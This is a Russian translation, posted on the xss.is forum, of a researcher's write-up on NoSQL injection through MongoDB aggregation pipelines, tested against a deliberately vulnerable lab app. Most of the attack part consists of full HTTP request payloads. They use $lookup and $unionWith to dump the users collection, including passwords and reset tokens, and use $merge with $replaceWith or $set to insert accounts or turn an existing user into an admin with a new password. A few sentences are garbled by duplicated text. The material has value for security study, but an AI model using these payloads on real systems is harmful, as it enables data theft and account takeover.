MongoDB NoSQL инъекция с использованием агрегационных конвейеров

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Источник: https://soroush.me/blog/2024/06/mongodb-nosql-injection-with-aggregation-pipelines/
Перевёл: BLUA специально для xss.is

История

Прошлым августом (2023), помогая с лабораторным модулем по NoSQL для PortSwigger Web Academy, я обнаружил, что в редких случаях возможно получить доступ к другим коллекциям при выполнении инъекционной атаки в MongoDB. Это не было включено в учебные материалы из-за редкости такого явления и казалось более подходящим для темы исследования. Хотя с тех пор я был занят и не имел возможности изучить это дальше, я считаю, что публикация моих выводов всё ещё может быть полезна для некоторых исследователей в области безопасности.

Предыстория

Если вы не знакомы с атаками с использованием NoSQL-инъекций, рекомендую изучить этот материал через Web Academy от PortSwigger (https://portswigger.net/web-security/nosql-injection), чтобы лучше понять тему.

Вот краткое введение в проблему, с которой мы сталкиваемся:

Когда происходит NoSQL-инъекция в MongoDB, данные, к которым пользователь может получить доступ, зависят от местоположения уязвимости и того, какая коллекция используется. Для тех, кто знаком с традиционными SQL-базами данных, представьте, что «коллекции» в MongoDB — это «таблицы», а «документы» — это «строки». Если инъекция происходит в методе «find», доступ к данным ограничен определённой коллекцией, которая может не содержать чувствительной информации. Именно поэтому некоторые клиенты могут не считать атаку с использованием NoSQL-инъекции в MongoDB ценной.

Этот пост рассматривает сценарий, в котором функция «aggregate» в MongoDB подвержена уязвимости для атак с использованием NoSQL-инъекций, увеличивая воздействие за счет возможности:
- Чтение данных из других коллекций
- Добавление данных
- Обновление данных

Подробности

Тестовый случай был создан для практики этого в виртуальной машине, доступной по адресуhttps://github.com/irsdl/vulnerable-node-app/. Это модифицированная версия репозитория Чарли Бельмера для попытки различных случаев атак NoSQL-инъекций.

Представьте атаку NoSQL-инъекции, где пользователи не могут управлять именем коллекции через параметры ввода, но могут управлять агрегатом. Вот пример уязвимого кода на Node.js:

Код: Скопировать в буфер обмена
Код:
productRoutes.route('/lookup_agg').post(function(req, res) {
    let query = req.body;
      if (typeof query !== 'undefined' && Object.keys(query).length > 0) {
        console.log("request " + JSON.stringify(query));
        console.log("MongoDB query: " + JSON.stringify(query));
        Product.aggregate(query)
            .then(products => {
                console.log("Data Retrieved: " + products);
                res.json({products});
            })
            .catch(err => {
                console.log(err);
                res.json(err);
            });
      } else {
        res.json({});
    }   
});

Следующий HTTP-запрос и его ответ в формате JSON показывают пример:
Код: Скопировать в буфер обмена
Код:
POST /product/lookup_agg HTTP/1.1
Host: vulnerable.lab:4000
Content-Type: application/json
Content-Length: 53

[
  {
    "$match": {"name": "Apple Juice"}
  }
]

Тело ответа:
Код: Скопировать в буфер обмена
{"products":[{"_id":"66773d7c85bf15c9d920fe9d","name":"Apple Juice","category":"soft","released":true,"quantity":"30","__v":0}]}

В этом случае уязвимость возникает в коллекции "products". Поэтому следующий запрос, возвращающий все поля, не принесёт большой ценности:
Код: Скопировать в буфер обмена
Код:
POST /product/lookup_agg HTTP/1.1
Host: vulnerable.lab:4000
Content-Type: application/json
Content-Length: 32

[
  {
    "$match": {}
  }
]

Тело ответа:
Код: Скопировать в буфер обмена
{"products":[{"_id":"66773d7c85bf15c9d920fe9d","name":"Apple Juice","category":"soft","released":true,"quantity":"30","__v":0},{"_id":"66773d7c85bf15c9d920fe9e","name":"Orange Juice","category":"soft","released":true,"quantity":"100","__v":0},{"_id":"66773d7c85bf15c9d920fe9f","name":"Coke","category":"fizzy","released":true,"quantity":"50","__v":0},{"_id":"66773d7c85bf15c9d920fea0","name":"Golden Bear","category":"alcohol","released":false,"quantity":"1","__v":0}]}

Как определить, является ли это агрегатом при тестировании "чёрного ящика"?
В MongoDB метод aggregate всегда ожидает массив стадий агрегации в качестве своего первого аргумента. Поэтому обратите внимание на массивы JSON в качестве параметра. Операторы $match и $lookup в JSON-запросе также могут указывать на использование метода aggregate.

Трюки для NoSQL-инъекции в агрегатах
Вот несколько трюков, которые можно использовать при работе с NoSQL-инъекциями в агрегатах. ChatGPT оказал большую помощь в объяснении этих примеров во время моего тестирования!

A) Чтение данных из других коллекций

A.1) Использование $lookup с фиктивным полем:

Можно использовать "$lookup" для доступа к другим коллекциям. Следующий HTTP-запрос показывает, как можно получить доступ к коллекции "users" с его помощью:
Код: Скопировать в буфер обмена
Код:
POST /product/lookup_agg HTTP/1.1
Host: vulnerable.lab:4000
Content-Type: application/json
Content-Length: 200

[
  {
    "$lookup": {
      "from": "users",
      "localField": "Dummy-IdontExist",
      "foreignField": "Dummy-IdontExist",
      "as": "user_docs"
    }
  },
  {
    "$limit": 1
  }
]

Здесь "lookup"выполняетлевоевнешнеесоединениесдругойколлекцией,а"lookup"выполняетлевоевнешнеесоединениесдругойколлекцией,а"limit" ограничивает количество документов. Ограничение было использовано, чтобы избежать повторения всех пользователей для каждого продукта. Мы хотим получить каждого пользователя только один раз!

Ответом была следующая часть тела запроса:
Код: Скопировать в буфер обмена
{"products":[{"_id":"66773d7c85bf15c9d920fe9d","name":"Apple Juice","category":"soft","released":true,"quantity":"30","__v":0,"user_docs":[{"_id":"66773d7c85bf15c9d920fe95","username":"guest","first_name":"","last_name":"","email":"guest@nullsweep.com","role":"guest","password":"password","locked":false,"resetPasswordToken":"","__v":0},…,{"_id":"66773d7c85bf15c9d920fe97","username":"carlos","first_name":"Scary","last_name":"Ghost","email":"ghost@mailinator.com","role":"user","password":"abc123","locked":true,"resetPasswordToken":"iioldsgiaioaiejiejirj0ifgsi","__v":0}]}]}

Если фиктивные поля не являются идеальным решением, мы можем использовать поле __v, которое автоматически создается Mongoose, библиотекой для объектного моделирования данных (ODM) для MongoDB и Node.js. Это поле используется для хранения версии документа для внутренних целей, в частности, для обработки обновлений документов и предотвращения одновременных изменений.

A.2) Использование объединения

"$unionWith" объединяет результаты отдельных запросов в один массив, аналогично "union all" в традиционной базе данных SQL. Мы можем использовать его для получения данных пользователей следующим образом:
Код: Скопировать в буфер обмена
Код:
POST /product/lookup_agg HTTP/1.1
Host: vulnerable.lab:4000
Content-Type: application/json
Content-Length: 229

[{
    "$match": {"foo":"bar"}
  },
  {
    "$unionWith": {
      "coll": "users",
      "pipeline": [
        {
          "$addFields": {
            "collection": "users"
          }
        }
      ]
    }
  }
]
“$match” использовался с фиктивными данными, так как нас не интересует просмотр полей продуктов!

Если использование фиктивных данных не является идеальным, вместо этого можно использовать следующее:
Код: Скопировать в буфер обмена
Код:
{
    "$match":{"_id":{"$exists":false}}
}

B) Добавление/Вставка данных

Инъекция через агрегаты также может использоваться для создания новых документов или коллекций, а также для перезаписи существующих. Однако тестировщикам все равно придется угадывать схему данных и некоторые из их значений перед добавлением данных.

Следующий HTTP-запрос показывает пример того, как можно добавить нового пользователя в базу данных:
Код: Скопировать в буфер обмена
Код:
POST /product/lookup_agg HTTP/1.1
Host: vulnerable.lab:4000
Content-Type: application/json
Content-Length: 434

[
  {
    "$limit": 1
  },
  {
    "$replaceWith": {
      "username": "newUser",
      "first_name": "New",
      "last_name": "User",
      "email": "newuser@example.com",
      "role": "user",
      "password": "password123",
      "locked": false,
      "resetPasswordToken": ""
    }
  },
  {
    "$merge": {
      "into": "users",
      "whenMatched": "merge",
      "whenNotMatched": "insert"
    }
  }
]
Это можно проверить, получив список пользователей из коллекции пользователей.

Примечание: Убедитесь, что используется ограничение, как показано выше, чтобы предотвратить добавление нескольких документов в базу данных!

C) Обновление данных

Метод aggregate в MongoDB также позволяет изменять данные в разных коллекциях.

Чтобы изменить данные с помощью «$replaceWith», необходима поле _id целевого документа. Следующий HTTP-запрос показывает, как можно изменить данные пользователя в разработанной лабораторной работе:
Код: Скопировать в буфер обмена
Код:
POST /product/lookup_agg HTTP/1.1
Host: vulnerable.lab:4000
Content-Type: application/json
Content-Length: 379

[
  {
    "$limit": 1
  },
  {
    "$replaceWith": {
      "_id": { "$toObjectId": "66773d7c85bf15c9d920fe97" },
      "role":"admin",
      "password": "NewPassword123?",
      "locked": false,
      "resetPasswordToken": "1234567890"
    }
  },
  {
    "$merge": {
      "into": "users",
      "whenMatched": "merge",
      "whenNotMatched": "fail"
    }
  }
]

Поле _id можно получить, отправив следующий JSON-запрос:
Код: Скопировать в буфер обмена
Код:
[
   {
     "$unionWith": {
       "coll": "users"
     }
   },
   {
     "$match": { "username": "carlos" }
   },
   {
     "$project": {
       "_id": 1
     }
   }
]

Однако, если у нас нет поля _id, изменение все же возможно, используя следующий HTTP-запрос в качестве примера:
Код: Скопировать в буфер обмена
Код:
POST /product/lookup_agg HTTP/1.1
Host: vulnerable.lab:4000
Content-Type: application/json
Content-Length: 421

[
  {
    "$unionWith": {
      "coll": "users"
    }
  },
  {
    "$match": { "username": "carlos" }
  },
  {
    "$set": {
      "role": "admin",
      "password": "NewPassword123! ",
      "locked": false,
      "resetPasswordToken": "1234567890"
    }
  },
  {
    "$merge": {
      "into": "users",
      "on": "_id",
      "whenMatched": "merge",
      "whenNotMatched": "fail"
    }
  }
]

Этот подход использует «$unionWith» для включения документов из коллекции «users», находит конкретный документ пользователя по имени пользователя, обновляет поля и, наконец, объединяет обновленный документ обратно в коллекцию users. Важно отметить, что если будут найдены несколько полей, они все будут обновлены, что может привести к повреждению данных. Поэтому следует избегать использования регулярных выражений или правила сопоставления, которое может выбрать более одного документа в коллекции.

Некоторые мысли для дальнейшего исследования
Я не нашел способа удалить документ из коллекции, используя агрегатные функции. Было бы интересно, если бы кто-то смог выяснить, как удалить Карлоса!
В рамках MongoDB Aggregation Framework операторы "function" и "function" и "accumulator" могут запускать JavaScript, что может быть полезным в некоторых случаях.

Многие другие методы MongoDB могут быть случайно раскрыты и затем использованы в атаках с использованием NoSQL-инъекций. Например, я не встречал много исследований по таким методам, как "updateMany" или "updateOne" (NoSQL-инъекции при обновлении документов). Было бы интересно узнать, что происходит, когда эти методы раскрываются, и как их можно использовать для увеличения воздействия.

View hidden content is available for registered users!
 
Сверху Снизу